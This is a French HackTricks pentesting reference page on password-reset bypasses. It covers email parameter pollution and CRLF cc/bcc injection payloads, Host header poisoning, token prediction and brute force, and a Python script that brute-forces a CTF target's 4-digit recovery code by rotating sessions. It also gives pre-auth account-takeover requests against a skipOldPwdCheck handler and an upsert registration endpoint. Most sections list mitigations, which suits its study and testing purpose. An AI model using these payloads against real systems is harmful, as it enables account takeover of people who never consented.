Contournement de réinitialisation / mot de passe oublié

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Password Reset Token Leak Via Referrer

  • Le HTTP referer header peut leak le password reset token s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé un password reset.
  • Impact : Potentielle prise de contrôle de compte via des attaques Cross-Site Request Forgery (CSRF).
  • Exploitation : Pour vérifier si un password reset token leak dans le referer header, demandez un password reset sur votre adresse email et cliquez sur le reset link fourni. Ne changez pas votre password immédiatement. Au lieu de cela, naviguez vers un site tiers (comme Facebook ou Twitter) tout en interceptant les requêtes avec Burp Suite. Inspectez les requêtes pour voir si le referer header contient le password reset token, car cela pourrait exposer des informations sensibles à des tiers.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Les attaquants peuvent manipuler le Host header durant les password reset requests pour pointer le reset link vers un site malveillant.
  • Impact : Conduit à une prise de contrôle potentielle de comptes en leaking des reset tokens vers les attaquants.
  • Mitigation Steps :
  • Validez le Host header contre une whitelist de domaines autorisés.
  • Utilisez des méthodes server-side sécurisées pour générer des URLs absolues.
  • Patch : Use $_SERVER['SERVER_NAME'] to construct password reset URLs instead of $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Les attaquants peuvent manipuler la password reset request en ajoutant des paramètres email supplémentaires pour détourner le reset link.

  • Ajoutez l'email de l'attaquant en tant que second paramètre en utilisant &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Ajouter attacker email comme deuxième paramètre en utilisant %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com

Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant cc

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Ajoutez l'adresse e-mail de l'attacker comme deuxième paramètre en utilisant bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Ajoutez attacker email comme deuxième paramètre en utilisant ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Ajouter attacker email comme deuxième paramètre dans json array
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Modification de l'Email et du Password de n'importe quel utilisateur via les paramètres API

  • Les attackers peuvent modifier les paramètres email et password dans les requêtes API pour changer les identifiants du compte.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Étapes d'atténuation:
  • Assurez une validation stricte des paramètres et des contrôles d'authentification.
  • Mettez en place une journalisation et une surveillance robustes pour détecter et répondre aux activités suspectes.
  • Référence:
  • Full Account Takeover via API Parameter Manipulation

Absence de rate limiting: Email Bombing

  • L'absence de rate limiting sur les demandes de password reset peut conduire à de l'email bombing, submergeant l'utilisateur d'emails de reset.
  • Étapes d'atténuation:
  • Mettre en place du rate limiting basé sur l'adresse IP ou le compte utilisateur.
  • Utiliser des challenges CAPTCHA pour prévenir les abus automatisés.
  • Références:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Comprendre le schéma ou la méthode de génération des tokens peut permettre de prédire ou brute-forcer des tokens. Quelques options :
  • Based Timestamp
  • Based on the UserID
  • Based on email of User
  • Based on Firstname and Lastname
  • Based on Date of Birth
  • Based on Cryptography
  • Étapes d'atténuation:
  • Utiliser des méthodes cryptographiques fortes pour la génération des tokens.
  • Assurer une entropie et une longueur suffisantes pour éviter la prévisibilité.
  • Outils: Use Burp Sequencer to analyze the randomness of tokens.

Guessable UUID

  • Si les UUIDs (version 1) sont devinables ou prévisibles, un attaquant peut les brute-forcer pour générer des reset tokens valides. Check:

UUID Insecurities

  • Étapes d'atténuation:
  • Utiliser GUID version 4 pour l'aléa ou implémenter des mesures de sécurité supplémentaires pour les autres versions.
  • Outils: Use guidtool for analyzing and generating GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipuler les réponses HTTP pour contourner les messages d'erreur ou les restrictions.
  • Étapes d'atténuation:
  • Mettre en place des contrôles côté serveur pour assurer l'intégrité des réponses.
  • Utiliser des canaux de communication sécurisés comme HTTPS pour prévenir les attaques man-in-the-middle.
  • Référence:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Tester si des tokens expirés peuvent encore être utilisés pour le password reset.
  • Étapes d'atténuation:
  • Mettre en place des politiques strictes d'expiration des tokens et valider l'expiration côté serveur.

Brute Force Password Reset Token

  • Tenter de brute-forcer le reset token en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les rate limits basés sur l'IP.
  • Étapes d'atténuation:
  • Mettre en place des rate-limiting robustes et des mécanismes de verrouillage de compte.
  • Surveiller les activités suspectes indiquant des attaques par brute-force.

Try Using Your Token

  • Tester si le reset token d'un attaquant peut être utilisé avec l'email de la victime.
  • Étapes d'atténuation:
  • S'assurer que les tokens sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.

Session Invalidation in Logout/Password Reset

  • S'assurer que les sessions sont invalidées lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe.
  • Étapes d'atténuation:
  • Mettre en place une gestion correcte des sessions, en veillant à ce que toutes les sessions soient invalidées lors du logout ou du password reset.

Session Invalidation in Logout/Password Reset

  • Les reset tokens doivent avoir un temps d'expiration après lequel ils deviennent invalides.
  • Étapes d'atténuation:
  • Définir un temps d'expiration raisonnable pour les reset tokens et l'appliquer strictement côté serveur.

OTP rate limit bypass by changing your session

  • Si le site utilise la session utilisateur pour suivre les tentatives de OTP erronées et que l'OTP est faible ( <= 4 digits) alors on peut effectivement bruteforce l'OTP.
  • exploitation:
  • il suffit de demander un nouveau session token après avoir été bloqué par le serveur.
  • Exemple de code qui exploite ce bug en devinant aléatoirement l'OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Certaines implémentations exposent une action de changement de mot de passe qui appelle la routine de changement de mot de passe avec skipOldPwdCheck=true et ne vérifie aucun reset token ni la propriété. Si l'endpoint accepte un paramètre action comme change_password et un username/new password dans le corps de la requête, un attaquant peut réinitialiser des comptes arbitraires pre-auth.

Schéma vulnérable (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Demande d'Exploitation (concept):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mesures d'atténuation:

  • Exiger toujours un token de réinitialisation valide, limité dans le temps et lié au compte et à la session avant de changer un mot de passe.
  • Ne jamais exposer les chemins skipOldPwdCheck aux utilisateurs non authentifiés ; imposer l'authentification pour les changements de mot de passe normaux et vérifier l'ancien mot de passe.
  • Invalider toutes les sessions actives et les tokens de réinitialisation après un changement de mot de passe.

Enregistrement comme réinitialisation de mot de passe (Upsert sur un email existant)

Certaines applications implémentent le gestionnaire d'inscription comme un upsert. Si l'email existe déjà, le gestionnaire met à jour silencieusement l'enregistrement utilisateur au lieu de rejeter la requête. Lorsque le endpoint d'enregistrement accepte un corps JSON minimal contenant un email existant et un nouveau mot de passe, il devient effectivement une réinitialisation de mot de passe pre-auth sans aucune vérification de propriété, permettant une prise de contrôle complète du compte.

Pre-auth ATO PoC (écrasement du mot de passe d'un utilisateur existant):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks